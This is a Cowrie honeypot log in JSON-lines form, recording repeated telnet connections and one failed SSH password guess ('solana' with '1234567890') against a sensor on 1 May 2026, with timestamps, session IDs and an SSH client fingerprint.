{"eventid":"cowrie.session.connect","src_ip":"66.113.191.20","src_port":46716,"dst_ip":"10.17.0.5","dst_port":23,"session":"06cbc87b04be","protocol":"telnet","message":"New connection: 66.113.191.20:46716 (10.17.0.5:23) [session: 06cbc87b04be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:55:31.443839Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.49.80.15","src_port":49124,"dst_ip":"10.17.0.5","dst_port":23,"session":"3249222a9ef4","protocol":"telnet","message":"New connection: 157.49.80.15:49124 (10.17.0.5:23) [session: 3249222a9ef4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:55:33.984363Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":44520,"dst_ip":"159.203.135.109","dst_port":23,"session":"3630b704b155","protocol":"telnet","message":"New connection: 80.65.211.42:44520 (159.203.135.109:23) [session: 3630b704b155]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:55:37.428596Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.191.20","src_port":32786,"dst_ip":"10.17.0.5","dst_port":23,"session":"8df723bcf362","protocol":"telnet","message":"New connection: 66.113.191.20:32786 (10.17.0.5:23) [session: 8df723bcf362]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:55:37.543963Z"}
{"eventid":"cowrie.session.closed","duration":34.521148443222046,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:55:39.527023Z","src_ip":"80.65.211.42","session":"9a47a56c7b42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.64237833023071,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:55:39.923630Z","src_ip":"80.65.211.42","session":"73737cee6b1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.191.20","src_port":45100,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d9ea5ab2f47","protocol":"telnet","message":"New connection: 66.113.191.20:45100 (10.17.0.5:23) [session: 9d9ea5ab2f47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:55:40.955788Z"}
{"eventid":"cowrie.session.closed","duration":34.42747688293457,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:55:43.092514Z","src_ip":"80.65.211.42","session":"eb2de274e3be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.68319034576416,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:55:48.067484Z","src_ip":"80.65.211.42","session":"6cbc613dc394","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.53024649620056,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:55:50.003026Z","src_ip":"80.65.211.42","session":"2362e9802314","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":44966,"dst_ip":"159.203.135.109","dst_port":23,"session":"126afc42bfd4","protocol":"telnet","message":"New connection: 80.65.211.42:44966 (159.203.135.109:23) [session: 126afc42bfd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:55:56.275245Z"}
{"eventid":"cowrie.session.closed","duration":31.423099040985107,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:56:00.846923Z","src_ip":"66.113.191.20","session":"1cf9cb26b134","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.59474730491638,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:56:02.404051Z","src_ip":"80.65.211.42","session":"ce671b6aaf02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.27388310432434,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:56:02.717589Z","src_ip":"66.113.191.20","session":"06cbc87b04be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.854857444763184,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:56:08.398674Z","src_ip":"66.113.191.20","session":"8df723bcf362","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.126346588134766,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:56:09.554817Z","src_ip":"80.65.211.42","session":"3630b704b155","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.40195345878601,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:56:12.357606Z","src_ip":"66.113.191.20","session":"9d9ea5ab2f47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":52170,"dst_ip":"159.203.135.109","dst_port":23,"session":"46ee23ffe676","protocol":"telnet","message":"New connection: 80.65.211.42:52170 (159.203.135.109:23) [session: 46ee23ffe676]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:56:14.667352Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":52180,"dst_ip":"159.203.135.109","dst_port":23,"session":"7baaa1e16f21","protocol":"telnet","message":"New connection: 80.65.211.42:52180 (159.203.135.109:23) [session: 7baaa1e16f21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:56:21.069306Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":52184,"dst_ip":"159.203.135.109","dst_port":23,"session":"66d400f59f4b","protocol":"telnet","message":"New connection: 80.65.211.42:52184 (159.203.135.109:23) [session: 66d400f59f4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:56:23.532893Z"}
{"eventid":"cowrie.session.closed","duration":30.88069748878479,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:56:27.155829Z","src_ip":"80.65.211.42","session":"126afc42bfd4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":44790,"dst_ip":"159.203.135.109","dst_port":23,"session":"a44846efeb42","protocol":"telnet","message":"New connection: 80.65.211.42:44790 (159.203.135.109:23) [session: a44846efeb42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:56:42.498534Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":44804,"dst_ip":"159.203.135.109","dst_port":23,"session":"c96493a1952d","protocol":"telnet","message":"New connection: 80.65.211.42:44804 (159.203.135.109:23) [session: c96493a1952d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:56:42.974990Z"}
{"eventid":"cowrie.session.closed","duration":31.432130813598633,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:56:46.099363Z","src_ip":"80.65.211.42","session":"46ee23ffe676","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":38080,"dst_ip":"159.203.135.109","dst_port":23,"session":"926b8283b57f","protocol":"telnet","message":"New connection: 80.65.211.42:38080 (159.203.135.109:23) [session: 926b8283b57f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:56:50.139023Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":38084,"dst_ip":"159.203.135.109","dst_port":23,"session":"6dcf4fc0aad9","protocol":"telnet","message":"New connection: 80.65.211.42:38084 (159.203.135.109:23) [session: 6dcf4fc0aad9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:56:53.565206Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":35474,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf16226f9583","protocol":"telnet","message":"New connection: 80.65.211.42:35474 (159.203.135.109:23) [session: cf16226f9583]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:56:54.846625Z"}
{"eventid":"cowrie.session.closed","duration":36.11288356781006,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:56:57.182072Z","src_ip":"80.65.211.42","session":"7baaa1e16f21","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.35412573814392,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:56:58.886895Z","src_ip":"80.65.211.42","session":"66d400f59f4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":60368,"dst_ip":"10.17.0.5","dst_port":22,"session":"86d2fa70c148","protocol":"ssh","message":"New connection: 80.94.92.184:60368 (10.17.0.5:22) [session: 86d2fa70c148]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:57:04.672555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:57:04.784687Z","src_ip":"80.94.92.184","session":"86d2fa70c148","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:57:04.945135Z","src_ip":"80.94.92.184","session":"86d2fa70c148","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"1234567890","message":"login attempt [solana/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:57:05.650732Z","src_ip":"80.94.92.184","session":"86d2fa70c148","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:57:06.764751Z","src_ip":"80.94.92.184","session":"86d2fa70c148","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.294456958770752,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:57:13.792873Z","src_ip":"80.65.211.42","session":"a44846efeb42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.339321851730347,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:57:14.314188Z","src_ip":"80.65.211.42","session":"c96493a1952d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":40022,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab1ebbb23799","protocol":"telnet","message":"New connection: 80.65.211.42:40022 (159.203.135.109:23) [session: ab1ebbb23799]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:57:20.928066Z"}
{"eventid":"cowrie.session.closed","duration":31.04951786994934,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:57:21.188418Z","src_ip":"80.65.211.42","session":"926b8283b57f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00102066993713,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:57:22.134620Z","src_ip":"157.49.80.15","session":"2d984bc53b39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.558039903640747,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:57:25.404554Z","src_ip":"80.65.211.42","session":"cf16226f9583","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":38422,"dst_ip":"159.203.135.109","dst_port":23,"session":"806d9b7430e9","protocol":"telnet","message":"New connection: 80.65.211.42:38422 (159.203.135.109:23) [session: 806d9b7430e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:57:26.808568Z"}
{"eventid":"cowrie.session.closed","duration":33.693575859069824,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:57:27.258671Z","src_ip":"80.65.211.42","session":"6dcf4fc0aad9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00102734565735,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:57:29.853669Z","src_ip":"157.49.80.15","session":"284e2b171f2d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.49.80.15","src_port":9941,"dst_ip":"10.17.0.5","dst_port":23,"session":"4492e1fba875","protocol":"telnet","message":"New connection: 157.49.80.15:9941 (10.17.0.5:23) [session: 4492e1fba875]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:57:30.504611Z"}
{"eventid":"cowrie.session.closed","duration":120.00133323669434,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:57:33.985566Z","src_ip":"157.49.80.15","session":"3249222a9ef4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.49.80.15","src_port":38120,"dst_ip":"10.17.0.5","dst_port":23,"session":"1880386ad6c9","protocol":"telnet","message":"New connection: 157.49.80.15:38120 (10.17.0.5:23) [session: 1880386ad6c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:57:34.585196Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":34986,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ba66aaf64da","protocol":"telnet","message":"New connection: 80.65.211.42:34986 (159.203.135.109:23) [session: 7ba66aaf64da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:57:39.532914Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":34992,"dst_ip":"159.203.135.109","dst_port":23,"session":"d91fc8525f15","protocol":"telnet","message":"New connection: 80.65.211.42:34992 (159.203.135.109:23) [session: d91fc8525f15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:57:41.652699Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":54674,"dst_ip":"159.203.135.109","dst_port":23,"session":"596e2ad4bdc0","protocol":"telnet","message":"New connection: 80.65.211.42:54674 (159.203.135.109:23) [session: 596e2ad4bdc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:57:46.180068Z"}
{"eventid":"cowrie.session.closed","duration":32.686609745025635,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:57:53.614413Z","src_ip":"80.65.211.42","session":"ab1ebbb23799","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.779685020446777,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:57:57.588175Z","src_ip":"80.65.211.42","session":"806d9b7430e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.526461601257324,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:58:11.059268Z","src_ip":"80.65.211.42","session":"7ba66aaf64da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.666162252426147,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:58:12.318779Z","src_ip":"80.65.211.42","session":"d91fc8525f15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":57762,"dst_ip":"10.17.0.5","dst_port":23,"session":"871b824534d2","protocol":"telnet","message":"New connection: 69.65.3.189:57762 (10.17.0.5:23) [session: 871b824534d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:58:14.150972Z"}
{"eventid":"cowrie.session.closed","duration":31.564242601394653,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:58:17.744077Z","src_ip":"80.65.211.42","session":"596e2ad4bdc0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":39342,"dst_ip":"159.203.135.109","dst_port":23,"session":"dda4752ffcb9","protocol":"telnet","message":"New connection: 80.65.211.42:39342 (159.203.135.109:23) [session: dda4752ffcb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:58:26.155333Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":43434,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e4af27b3511","protocol":"telnet","message":"New connection: 80.65.211.42:43434 (159.203.135.109:23) [session: 0e4af27b3511]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:58:35.581150Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":43438,"dst_ip":"159.203.135.109","dst_port":23,"session":"93856de62ab0","protocol":"telnet","message":"New connection: 80.65.211.42:43438 (159.203.135.109:23) [session: 93856de62ab0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:58:41.874341Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.53.58.141","src_port":57558,"dst_ip":"10.17.0.5","dst_port":23,"session":"a447c9d423c9","protocol":"telnet","message":"New connection: 185.53.58.141:57558 (10.17.0.5:23) [session: a447c9d423c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:58:46.140587Z"}
{"eventid":"cowrie.session.closed","duration":34.30028963088989,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:58:48.451135Z","src_ip":"69.65.3.189","session":"871b824534d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":33590,"dst_ip":"159.203.135.109","dst_port":23,"session":"b803271f4ad6","protocol":"telnet","message":"New connection: 80.65.211.42:33590 (159.203.135.109:23) [session: b803271f4ad6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:58:50.760190Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":33602,"dst_ip":"159.203.135.109","dst_port":23,"session":"caaf1fcd08f1","protocol":"telnet","message":"New connection: 80.65.211.42:33602 (159.203.135.109:23) [session: caaf1fcd08f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:58:52.109630Z"}
{"eventid":"cowrie.session.closed","duration":31.047852516174316,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:58:57.203039Z","src_ip":"80.65.211.42","session":"dda4752ffcb9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":45434,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb283e79c957","protocol":"telnet","message":"New connection: 80.65.211.42:45434 (159.203.135.109:23) [session: bb283e79c957]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:58:59.710168Z"}
{"eventid":"cowrie.session.closed","duration":31.199904203414917,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:59:06.780979Z","src_ip":"80.65.211.42","session":"0e4af27b3511","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":60344,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ba8fc55520d","protocol":"telnet","message":"New connection: 80.65.211.42:60344 (159.203.135.109:23) [session: 4ba8fc55520d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:59:07.659295Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":60354,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf2a8b01d467","protocol":"telnet","message":"New connection: 80.65.211.42:60354 (159.203.135.109:23) [session: bf2a8b01d467]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:59:12.093949Z"}
{"eventid":"cowrie.session.closed","duration":30.933303117752075,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:59:12.807533Z","src_ip":"80.65.211.42","session":"93856de62ab0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":51336,"dst_ip":"159.203.135.109","dst_port":23,"session":"41f3e694617c","protocol":"telnet","message":"New connection: 80.65.211.42:51336 (159.203.135.109:23) [session: 41f3e694617c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:59:14.252997Z"}
{"eventid":"cowrie.session.closed","duration":32.46294116973877,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:59:18.603409Z","src_ip":"185.53.58.141","session":"a447c9d423c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.53251600265503,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:59:22.292563Z","src_ip":"80.65.211.42","session":"b803271f4ad6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.20691704750061,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:59:23.316459Z","src_ip":"80.65.211.42","session":"caaf1fcd08f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":44374,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ccf9b8c469d","protocol":"telnet","message":"New connection: 80.65.211.42:44374 (159.203.135.109:23) [session: 8ccf9b8c469d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:59:26.566201Z"}
{"eventid":"cowrie.session.closed","duration":120.00153684616089,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:59:30.506046Z","src_ip":"157.49.80.15","session":"4492e1fba875","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.49.80.15","src_port":59975,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c589b3bb000","protocol":"telnet","message":"New connection: 157.49.80.15:59975 (10.17.0.5:23) [session: 8c589b3bb000]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:59:34.068009Z"}
{"eventid":"cowrie.session.closed","duration":120.00189089775085,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:59:34.586971Z","src_ip":"157.49.80.15","session":"1880386ad6c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.943974018096924,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:59:34.654027Z","src_ip":"80.65.211.42","session":"bb283e79c957","protocol":"telnet"}
